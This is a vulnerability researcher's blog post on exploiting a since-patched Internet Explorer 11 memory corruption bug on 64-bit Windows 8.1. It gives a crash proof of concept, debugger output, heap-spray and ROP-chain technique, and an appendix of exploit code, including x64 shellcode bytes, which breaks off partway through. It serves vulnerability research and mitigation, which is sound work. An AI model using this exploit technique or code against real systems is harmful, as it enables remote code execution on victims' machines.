Note: The vulnerability described here has been patched by Microsoft in October 2013 security update.
Earlier this year, Microsoft announced several security bounty programs one
of which was a bounty program for bugs in Internet Explorer 11. I
participated in this program and relatively quickly found a memory
corruption bug. Although I believed the bug could be exploited for
remote code execution, due to lack of time (I just became a father right
before the bounty programs started so I had other preoccupations) I
haven’t actually developed a working exploit at the time. However, I was
interested in the difficulty of writing an exploit for the new OS and
browser version so I decided to try to develop an exploit later. In this
post, I’ll first describe the bug and then the development of a working
exploit for it on 64-bit Windows 8.1 Preview.
When setting out to develop the exploit I didn't strive to make a 100%
reliable exploit (The specifics of the bug would have made it difficult
and my goal was to experiment with the new platform and not make the
next cyber weapon), however I did set some limitations for myself that
would make the exercise more challenging:
1. The exploit should not rely on any plugins (so no Flash and no Java). I wanted it to work on the default installation.
2. The exploit must work on 64-bit IE and 64-bit Windows. Because 32-bit
would be cheating as many exploit mitigation techniques (such as heap
base randomization) aren't really effective on 32-bit OS or processes.
Additionally, there aren't many 64-bit Windows exploits out there.
3. No additional vulnerabilities should be used (e.g. for ASLR bypass)
One prior note about exploiting 64-bit Internet Explorer: In Windows 8
and 8.1, when running IE on the desktop (“old interface”) the renderer
processes of IE will be 32-bit even if the main process is 64-bit. If
the new (“touch screen”) interface is used everything is 64-bit. This is
an interesting choice and makes the desktop version of IE less secure.
So in the default environment, the exploit shown here actually targets
the touch screen interface version of IE.
To force IE into using 64-bit mode on the desktop for exploit
development, I forced IE to use single process mode (TabProcGrowth
registry key). However note that this was used for debugging only and,
if used for browsing random pages, it will make IE even less secure
because it disables the IE’s sandbox mode.
The bug
A minimal sample that triggers the bug is shown below.
<script>
function bug() {
t = document.getElementsByTagName("table")[0];
t.parentNode.runtimeStyle.posWidth = "";
t.focus();
}
</script>
<body onload=bug()>
<table><th><ins>aaaaaaaaaa aaaaaaaaaa
And here is the the debugger output.
(4a8.440): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
MSHTML!Layout::ContainerBox::ContainerBox+0x1e6:
00007ff8`e0c90306 488b04d0 mov rax,qword ptr [rax+rdx*8] ds:000000a6`e1466168=????????????????
0:010> r
rax=000000a6d1466170 rbx=000000a6d681c360 rcx=000000000000007f
rdx=0000000001ffffff rsi=000000a6d5960330 rdi=00000000ffffffff
rip=00007ff8e0c90306 rsp=000000a6d61794b0 rbp=000000a6d5943a90
r8=0000000000000001 r9=0000000000000008 r10=00000000c0000034
r11=000000a6d61794a0 r12=00000000ffffffff r13=00000000ffffffff
r14=000000000000000b r15=00000000ffffffff
iopl=0 nv up ei pl nz na pe nc
cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202
MSHTML!Layout::ContainerBox::ContainerBox+0x1e6:
00007ff8`e0c90306 488b04d0 mov rax,qword ptr [rax+rdx*8] ds:000000a6`e1466168=????????????????
0:010> k
Child-SP RetAddr Call Site
000000a6`d61794b0 00007ff8`e0e49cc0 MSHTML!Layout::ContainerBox::ContainerBox+0x1e6
000000a6`d6179530 00007ff8`e0e554a8 MSHTML!Layout::TableGridBox::TableGridBox+0x38
000000a6`d6179590 00007ff8`e0e553c2 MSHTML!Layout::TableGridBoxBuilder::CreateTableGridBoxBuilder+0xd8
000000a6`d6179600 00007ff8`e0c8b720 MSHTML!Layout::LayoutBuilder::CreateLayoutBoxBuilder+0x2c9
000000a6`d61796c0 00007ff8`e0c8a583 MSHTML!Layout::LayoutBuilderDriver::StartLayout+0x85f
000000a6`d61798d0 00007ff8`e0c85bb2 MSHTML!Layout::PageCollection::FormatPage+0x287
000000a6`d6179a60 00007ff8`e0c856ae MSHTML!Layout::PageCollection::LayoutPagesCore+0x2aa
000000a6`d6179c00 00007ff8`e0c86389 MSHTML!Layout::PageCollection::LayoutPages+0x18e
000000a6`d6179c90 00007ff8`e0c8610f MSHTML!CMarkupPageLayout::CalcPageLayoutSize+0x251
000000a6`d6179db0 00007ff8`e0df85ca MSHTML!CMarkupPageLayout::CalcTopLayoutSize+0xd7
000000a6`d6179e70 00007ff8`e12d472d MSHTML!CMarkupPageLayout::DoLayout+0x76
000000a6`d6179eb0 00007ff8`e0d9de95 MSHTML!CView::EnsureView+0xcde
000000a6`d617a270 00007ff8`e0d1c29e MSHTML!CElement::EnsureRecalcNotify+0x135
000000a6`d617a310 00007ff8`e1556150 MSHTML!CElement::EnsureRecalcNotify+0x1e
000000a6`d617a350 00007ff8`e1555f6b MSHTML!CElement::focusHelperInternal+0x154
000000a6`d617a3b0 00007ff8`e19195ee MSHTML!CElement::focus+0x87
000000a6`d617a400 00007ff8`e06ed862 MSHTML!CFastDOM::CHTMLElement::Trampoline_focus+0x52
000000a6`d617a460 00007ff8`e06f0039 jscript9!amd64_CallFunction+0x82
000000a6`d617a4b0 00007ff8`e06ed862 jscript9!Js::JavascriptExternalFunction::ExternalFunctionThunk+0x154
000000a6`d617a550 00007ff8`e06f26ff jscript9!amd64_CallFunction+0x82
As can be seen above, IE crashes in
MSHTML!Layout:ContainerBox:ContainerBox function while attempting to
read uninitialized memory pointed to by rax + rdx*8. rax actually points
to valid memory that contains a CFormatCache object (which
looks correct given the PoC), while the value of rdx
(0x0000000001ffffff) is interesting. So I looked at the code of
ContainerBox:ContainerBox function to see where this value comes from
and also what can be done if an attacker would control the memory at rax
+ 0xffffff8.
00007ffb`dac00145 83cdff or ebp,0FFFFFFFFh
...
00007ffb`dac0023e 440fb64713 movzx r8d,byte ptr [rdi+13h]
00007ffb`dac00243 410fb6c0 movzx eax,r8b
00007ffb`dac00247 c0e805 shr al,5
00007ffb`dac0024a 2401 and al,1
00007ffb`dac0024c 0f84048f6200 je MSHTML!Layout::ContainerBox::ContainerBox+0x562 (00007ffb`db229156)
00007ffb`dac00252 440fb76f68 movzx r13d,word ptr [rdi+68h]
...
00007ffb`db229156 448bed mov r13d,ebp
00007ffb`db229159 e9f9709dff jmp MSHTML!Layout::ContainerBox::ContainerBox+0x137 (00007ffb`dac00257)
...
00007ffb`dac002db 410fbffd movsx edi,r13w
...
00007ffb`dac002fb 8bcf mov ecx,edi
00007ffb`dac002fd 8bd7 mov edx,edi
00007ffb`dac002ff 48c1ea07 shr rdx,7
00007ffb`dac00303 83e17f and ecx,7Fh
00007ffb`dac00306 488b04d0 mov rax,qword ptr [rax+rdx*8] ds:0000007a`390257f8=????????????????
00007ffb`dac0030a 488d0c49 lea rcx,[rcx+rcx*2]
00007ffb`dac0030e 488d14c8 lea rdx,[rax+rcx*8]
00007ffb`dac00312 8b4cc810 mov ecx,dword ptr [rax+rcx*8+10h]
00007ffb`dac00316 8b420c mov eax,dword ptr [rdx+0Ch]
00007ffb`dac00319 3bc8 cmp ecx,eax
00007ffb`dac0031b 0f83150d7500 jae MSHTML!Layout::ContainerBox::ContainerBox+0x750f16 (00007ffb`db351036)
00007ffb`dac00321 ffc0 inc eax
00007ffb`dac00323 89420c mov dword ptr [rdx+0Ch],eax
The value of rdx at the time of crash comes after several assignments
from the value of ebp which is initialized to 0xFFFFFFFF near the
beginning of the function (note that ebp/rbp is not used as the frame
pointer here). My assumption is that the value 0xFFFFFFFF (-1) is an
initial value of variable used as an index into CFormatCache. Later in
the code, a pointer to a CTreeNode is obtained, a flag in the CTreeNode
is examined and if it is set, the index value is copied from the
CTreeNode object. However, if the flag is not set (as is the case in the
PoC), the initial value is used. The value 0xFFFFFFFF is then split
into two parts, upper and lower (it looks like CFormatCache is
implemented as a 2D array). A value of the higher index (will be equal
to 0x1ffffff) will be multiplied by 8 (size of void*), this offset is
added to rax and the content at this memory location is written back to
rax. Then, a value of the lower index (will be 0x7f) is multiplied with
24 (presumably the size of CCharFormat element), this offset is added to
eax and the content of this memory location is written to rdx. Finally,
and this is the part relevant for exploitation, a number at [rdx+0C] is
taken, increased, and then written back to [rdx+0C].
Written in C++ and simplified a bit, the relevant code would look like this:
int cacheIndex = -1;
if(treeNode->flag) {
cacheIndex = treeNode->cacheIndex;
}
unsigned int index_hi = cacheIndex, index_lo = cacheIndex;
index_hi = index_hi >> 7;
index_lo = index_lo & 0x7f;
//with sizeof(formatCache[i]) == 8 and sizeof(formatCache[i][j]) == 24
formatCache[index_hi][index_lo].some_number++;
For practical exploitation purposes, what happens is this: A pointer to
valid memory (CFormatCache pointer) is increased by 0x0FFFFFF8 (256M)
and the value at this address is treated as another pointer. Let’s call
the address (CFormatCache address + 0x0FFFFFF8) P1 and the address it
points to P2. The DWORD value at (P2 + BF4) will be increased by 1
(Note: BF4 is computed as 0x7F * 3 * 8 + 0x0C).
The exploit
If we were writing an exploit for a 32-bit process, a straightforward
(though not very clean) way to exploit the bug using heap spraying would
be to spray with a 32-bit number such that when BF4 is added to it, an
address of something interesting (e.g. string or array length) is
obtained. An “address of something interesting” could be predicted by
having another heap spray consisting of “interesting objects”.
Since the exploit is being written for 64-bit process with full ASLR, we won’t know or be able to guess an address of an “interesting” object. We certainly won’t be able to fill an address space of a 64-bit process and heap base will be randomized, thus making addresses of objects on the heap unpredictable.
However, even in this case, heap spraying is still useful for the first
part of the exploit. Note that when triggering the bug, P1 is calculated
as a valid heap address increased by 0x0FFFFFF8 (256M). And if we heap
spray, we are allocating memory relative to the heap base. Thus, by
spraying approximately 256M of memory we can set P2 to arbitrary value.
So to conclude, despite significantly larger address space in 64-bit
processes and heap base randomization, heap spraying is still useful in
cases where we can make a vulnerable application dereference memory at a
valid heap address + a large offset. As this is a typical behavior for
bounds checking vulnerabilities, it’s not altogether uncommon. Besides
the bug being discussed here, the previous IE bug I wrote about
exploiting here also exhibits this behavior.
Although heap spraying is often avoided in modern exploits in favor of
the more reliable alternatives, given a large (fixed) offset of 256M, it
is pretty much required in this case. And although the offset is fixed,
it’s a pretty good value as far as heap spraying goes. Not too large to
cause memory exhaustion and not too small to cause major reliability
issues (other than those from using heap spraying in the first place).
Look Ma, no Flash
But the problem of not being able to guess an address of an interesting
object still remains, and thus the question is, what do we heap spray
with? Well, instead of heap spraying with the exact values, we can spray
with pointers instead. Since an offset of 0xBF4 is added to P2 before
increasing the value it points to, we’ll spray with an address of some
object and try to make this address + 0xBF4 point to something of
interest.
So what should “something of interest” be? The first thing I tried is a length of a JavaScript string as in here.
And although I was able to align the stars to overwrite higher dword of
a qword containing a string length, a problem arose: JavaScript string
length is treated as a 32-bit number. Note that most pointers (including
those we can easily use in our heap spray) on 64-bit will be qword
aligned and when adding an offset of 0xBF4 to such a pointer we will end
up with a pointer to higher dword in a qword-aligned memory. So an
interesting value needs to either be 64-bit or not qword aligned.
Another idea was to try to overwrite an address. However, note that
triggering the bug would increase the address by 4GB as (assuming a
qword-aligned address) we are increasing the higher dword. To control
the content at this address we would need another heap spray of ~4G data
and this would cause memory issues on computers with less free RAM than
that. Incidentally, the computer I ran Windows 8.1 Preview VM on had
only 4GB of RAM and the Windows 8.1 VM had just 2GB of RAM so I decided
to drop this idea and look at alternatives.
In several recent exploits used in the wild, a length of a Flash array
was overwritten to leverage a vulnerability. While Flash was off limits
in this exercise, let’s take a look at JavaScript arrays in IE 11
instead. As it turns out, there is an interesting value that is
correctly aligned. An example JavaScript Array object with explanation
of some of the fields is shown below. Note that the actual array content
may be split across several buffers.
offset:0, size:8 vtable ptr
offset:0x20, size:4 array length
offset:0x28, size:8 pointer to the buffer containing array data
[beginning of the first buffer, stored together with the array]
offset:0x50, size:4 index of the first element in this buffer
offset:0x54, size:4 number of elements currently in the buffer
offset:0x58, size:4 buffer capacity
offset:0x60, size:8 ptr to the next buffer
offset:0x68, size:varies array data stored in the buffer
Although it’s not necessary for understanding the exploit, here’s also an example String object with explanation of some of the fields.
offset:0, size:8 vtable ptr
offset:0x10, size:4 string length
offset:0x18, size:8 data ptr
As can be seen from above, the “number of elements currently in the
buffer” of a JavaScript array is not qword-aligned and is a value that
might be interesting to overwrite.
This is indeed the value I ended up going for. To accomplish this, I got the memory aligned as seen in the image below.
We’ll heap spray with pointers to a JavaScript String object by creating
large JavaScript arrays where each element of the array will be the
same string object. We’ll also get memory aligned in such a way that, at
an offset 0xBF4 from the start of the string, there will be a a part of
a JavaScript array that holds the value we want to overwrite.
You might wonder why I heap sprayed with pointers to String and not an
Array object. The reason for this is that the String object is much
smaller (32 bytes vs. 128 bytes) so by having multiple strings close to
one another and pointing to a specific one, we can better “aim” for a
specific offset inside an Array object. Of course, if we have several
strings close to one another, the question becomes which one to use in a
heap spray. Since an Array object is 4 time the size of a String, there
are four different offsets in the Array we can overwrite. By choosing
randomly, in one case (with probability 1/4), we will overwrite exactly
what we want. In one case, we will overwrite an address that will cause a
crash on a subsequent access of the array. And in the remaining two
cases, we will overwrite values that are not important and we would be
able to try again by spraying with a pointer to a different string. Thus
a blind guess will give success probability of 1/4 while a try/retry
approach would give a probability of success of 3/4 (if you know your
statistics, you might think that this number is wrong, but we can
actually avoid crashes after an incorrect but non-fatal attempt by
trying different strings in a descending order). An even better approach
would be to disclose the string offsets by first aligning memory in a
way to put something readable at an offset 0xBF4 from the String object
used in the heap spray. While I have observed that this is possible,
this isn’t implemented in the provided exploit code and is left as an
exercise for the reader. Refer to the next section for information that
could help you to achieve such alignment.
In the exploit code provided, a naive (semi)blind-guess approach is used
where there is a large array of Strings (strarr) and a string at a
constant index is used for the heap spray. I have observed that this
works reliably for me when opening the PoC in a new process/tab (so I
didn’t have any other JavaScript objects in the current process). If you
want to play with the exploit and the index I used doesn’t work for
you, you’ll likely need to pick a different one or implement one of the
approaches described above.
Feng Shui in JavaScript heap
Before moving on with the exploit, let’s first take some time to examine
how it’s possible to heap spray in IE11 and get a correct object
alignment on heap with a high reliability.
Firstly, heap spraying: While Microsoft has made it rather difficult to
heap spray with JavaScript strings, JavaScript arrays in IE11 appear not
to prevent this in any way. It’s possible to spray both with pointers
(as seen above) as well as with absolute values by e.g. creating a large
array of integers. While many recent IE exploits use Flash for heap
spraying, it’s not necessary and, given the current Array implementation
and improved speed over the predecessors, JavaScript arrays might just
be the object of choice to implement heap spraying in IE in the future.
Secondly, alignment of objects on heap: While the default Heap
implementation in Windows 8 and above (the low fragmentation heap)
includes several mitigations that make getting the desired alignment
difficult, such as guard pages and allocation order randomization, in
IE11 basic JavaScript objects (such as Arrays and Strings) use a custom
heap implementation that has none of these features.
I’ll shortly describe what I observed about this JavaScript heap
implementation. Note that all of the below is based on observation of
the behavior and not reverse-engineering the code, so I might have made
some wrong conclusions, but it works as described for the purposes of
the given exploit.
The space for the JavaScript objects is allocated in blocks of 0x20000
bytes. If more space is needed, additional blocks will be allocated and
there is nothing preventing these blocks to be right next to one another
(so a theoretical overflow in one block could write into another).
These blocks are further divided into bins of 0x1000 bytes (at least for
small objects). One bin will only hold objects of the same size and
possibly type. So for example, in this exploit where we have String and
Array objects of size 32 and 128 bytes respectively, some bins will hold
only String objects (128 of them at most), while some of them will hold
only Array objects (32 of them at most). When a bin is fully used, it
contains only the “useful” content and no metadata. I have also observed
that the objects are stored in separate 0x20000-size blocks than the
user-provided content, so string and array data will be stored in
different blocks than the corresponding String and Array objects, except
when the data is small enough to be stored together with the object
(e.g. single-character strings, small arrays like the 5-element ones in
the exploit).
The allocation order of objects inside a given bin is sequential. That
means that, e.g. if we create three String objects in close succession
and assuming no holes in any of the bins, they will be next to each
other with the first one having the lowest address, followed by the
second followed by the third.
And now, for my next trick
So at this point we can increment the number of elements in the
JavaScript array. In fact, we’ll trigger the vulnerability multiple
times (5 times in the provided exploit, where each trigger will increase
this number by 3) in order to increase it a bit more. Unfortunately,
increasing the number of elements does not allow us to write data past
the end of the buffer, but it does allow us to read data past the end.
This is sufficient at this point because it allows us to break ASLR and
learn the precise address of the Array object we overwrote.
Knowing the address of the Array object, we can repeat the heap spray,
but this time, we’ll spray with exact values (I used Array of integers
to spray with the exact values). A value we are going to spray with is
going to be an address of buffer capacity of an array decreased by
0xBF1. This means that that the spray value + 0xBF4 will be the address
of the highest byte of the buffer capacity value. After the buffer
capacity has been overwritten, we’ll be able to both read and write data
past the end of the JS Array’s buffer.
From here, we can quite easily get the two important elements that
constitute a modern browser exploit: The ability to read arbitrary
memory and to gain control over RIP.
We can read arbitrary memory by scanning the memory after the Array for a
String object and then overwriting the data pointer and (if we want to
read larger data) size of the string.
We can get control over RIP by overwriting a vtable pointer of a nearby
Array object and triggering a virtual method call. While IE10 introduced
Virtual Table Guard (vtguard) for some classes in mshtml.dll,
jscript9.dll has no such protections. However note that, having
arbitrary memory disclosure, even if vtguard was present it would be
just a minor annoyance.
64-bit exploits for 32-bit exploit writers
With control over RIP and memory disclosure, we’ll want to construct a
ROP chain in order to defeat DEP. As we don’t control the stack, the
first thing we need is a stack pivot gadget. So, with arbitrary memory
disclosure it should be easy to search for xchg rax,rsp; ret; in some
executable module, right? Well, no. As it turns out, in x64, stack pivot
gadgets are much less common than in x86 code. On x86, xchg eax,esp;
ret; will be just 2 bytes in size, so there will be many unintended
sequences like that. On x64 xchg rax,rsp; is 3 bytes which makes it much
less common. Having not found it (or any other “clean” stack pivot
gadgets) in mshtml.dll and jscript9.dll, I had to look for alternatives.
After a look at mshtml.dll I found a stack pivot sequence shown below
which isn’t very clean but does the trick assuming both rax and rcx
point to a readable memory (which is the case here).
00007ffb`265ea973 50 push rax
00007ffb`265ea974 5c pop rsp
00007ffb`265ea975 85d2 test edx,edx
00007ffb`265ea977 7408 je MSHTML!CTableLayout::GetLastRow+0x25 (00007ffb`265ea981)
00007ffb`265ea979 8b4058 mov eax,dword ptr [rax+58h]
00007ffb`265ea97c ffc8 dec eax
00007ffb`265ea97e 03c2 add eax,edx
00007ffb`265ea980 c3 ret
00007ffb`265ea981 8b8184010000 mov eax,dword ptr [rcx+184h]
00007ffb`265ea987 ffc8 dec eax
00007ffb`265ea989 c3 ret
Note that, while there is a conditional jump in the sequence, both
branches end with RET and won’t cause a crash so they both work well for
our purpose. While the exploit mostly relies on jscript9 objects, an
address of (larger) mshtml.dll module can be easily obtained using
memory disclosure by pushing a mshtml object into a JS array object we
can read and then following references from the array to mshtml object
and its vtable.
After the control of the stack is gained, we can call VirtualProtect to
make a part of heap we can write to executable. We can find the address
of VirtualProtect in the IAT of mshtml.dll (the exploit includes some
very basic PE32+ parsing). So, with the address of VirtualProtect and
control over the stack, we can now just put the correct arguments of on
the stack and return into VirtualProtect, right? Well, no. In 64-bit
Windows, a different calling convention is used than in 32-bit. 64-bit
Windows uses a fastcall convention where the first 4 arguments (which is
exactly the number of arguments VirtualProtect has) are passed through
registers RCX, RDX, R8 and R9 (in that order). So we need some
additional gadgets to load the correct argument into the correct
registers:
pop rcx; ret;
pop rdx; ret;
pop r8; ret;
pop r9; ret;
As it turns out the first three are really common in mshtml.dll. The
forth one isn’t, however for VirtualProtect the last argument just needs
to point to a writeable memory which is already the case at the time we
get control over RIP, so we don’t actually have to change r9.
The final ROP chain looks like this:
address of pop rcx; ret;
address on the heap block with shellcode
address of pop rdx; ret;
0x1000 (size of the memory that we want to make executable)
address of pop r8; ret;
0x40 (PAGE_EXECUTE_READWRITE)
address of VirtualProtect
address of shellcode
So, we can now finally execute some x64 shellcode like SkyLined’s x64 calc shellcode that
works on 64-bit Windows 7 and 8, right? Well, no. Shellcode authors
usually (understandably) prefer small shellcode size over generality and
save space by relying on specifics of the OS that don’t need to be true
in the future versions. For example, for compatibility reasons, Windows
7 and 8 store PEB, module information structures as well as ntdll and
kernel32 modules at addresses lower than 2G. This is no longer true in
Windows 8.1 Preview. Also, while Windows x64 fastcall calling convention
requires leaving 32 bytes of shadow space on the stack for the use of
calling function, SkyLined’s win64-exec-calc-shellcode leaves just 8
bytes before calling WinExec. While this appears to work on Windows 7
and 8, on Windows 8.1 preview it will cause the command string (“calc”
in this case) stored on the stack to be overwritten as it will be stored
in WinExec’s shadow space. To resolve these compatibility issues I made
modifications to the shellcode which I provided in the exploit. It
should now work on Windows 8.1.
That’s it, finally we can execute the shellcode and have thus proven
arbitrary code execution. As IE is fully 64-bit only in the touch screen
mode, I don’t have a cool screenshot of Windows Calculator popped over
it (calc is shown on the desktop instead). But I do have a screenshot of
the desktop with IE forced into a single 64-bit process.
The full exploit code can be found at the end of this blog post.
Conclusion
Although Windows 8/8.1 packs an impressive arsenal of memory corruption mitigations,
memory corruption exploitation is still alive and kicking. Granted,
some vulnerability classes might be more difficult to exploit, but the
vulnerability presented here was the first one I found in IE11 and there
are likely many more vulnerabilities that can be exploited in a similar
way. The exploit also demonstrates that, under some conditions, heap
spraying is still useful even in 64-bit processes. In general, while
there have been a few cases where it was more difficult to write parts
of the exploit on x64 than it would be on x86 (such as finding what to
spray with and overwrite, finding stack pivot sequences etc.), the
difficulties wouldn't be sufficient to stop a determined attacker.
Finally, based on what I've seen, here are a few ideas to make writing exploits for IE11 on Windows 8.1 more difficult:
- Consider implementing protection against heap spraying with JavaScript arrays. This could be implemented by RLE-encoding large arrays that consist of a single repeated value or several repeated values.
- Consider implementing the same level of protection for the JavaScript heap as for the default heap implementation - add guard pages and introduce randomness.
- Consider implementing Virtual Table Guard for common JavaScript objects.
- Consider making compiler changes to remove all stack pivot sequences from the generated code of common modules. These are already scarce in x64 code so there shouldn't be a large performance impact.
Appendix: Exploit Code
<script>
var magic = 25001; //if the exploit doesn't work for you try selecting another number in the range 25000 -/+ 128
var strarr = new Array();
var arrarr = new Array();
var sprayarr = new Array();
var numsploits;
var addrhi,addrlo;
var arrindex = -1;
var strindex = -1;
var strobjidx = -1;
var mshtmllo,mshtmlhi;
//calc shellcode, based on SkyLined's x64 calc shellcode, but fixed to work on win 8.1
var shellcode = [0x40, 0x80, 0xe4, 0xf8, 0x6a, 0x60, 0x59, 0x65, 0x48, 0x8b, 0x31, 0x48, 0x8b, 0x76, 0x18, 0x48, 0x8b, 0x76, 0x10, 0x48, 0xad, 0x48, 0x8b, 0x30, 0x48, 0x8b, 0x7e, 0x30, 0x03, 0x4f, 0x3c, 0x8b, 0x5c, 0x0f, 0x28, 0x8b, 0x74, 0x1f, 0x20, 0x48, 0x01, 0xfe, 0x8b, 0x4c, 0x1f, 0x24, 0x48, 0x01, 0xf9, 0x31, 0xd2, 0x0f, 0xb7, 0x2c, 0x51, 0xff, 0xc2, 0xad, 0x81, 0x3c, 0x07, 0x57, 0x69, 0x6e, 0x45, 0x75, 0xf0, 0x8b, 0x74, 0x1f, 0x1c, 0x48, 0x01, 0xfe, 0x8b, 0x34, 0xae, 0x48, 0x01, 0xf7, 0x68, 0x63, 0x61, 0x6c, 0x63, 0x54, 0x59, 0x31, 0xd2, 0x48, 0x83, 0xec, 0x28, 0xff, 0xd7, 0xcc, 0, 0, 0, 0];
//triggers the bug
function crash(i) {
numsploits = numsploits + 1;
t = document.getElementsByTagName("table")[i];
t.parentNode.runtimeStyle.posWidth = -1;
t.focus();
setTimeout(cont, 100);
}
//heap spray
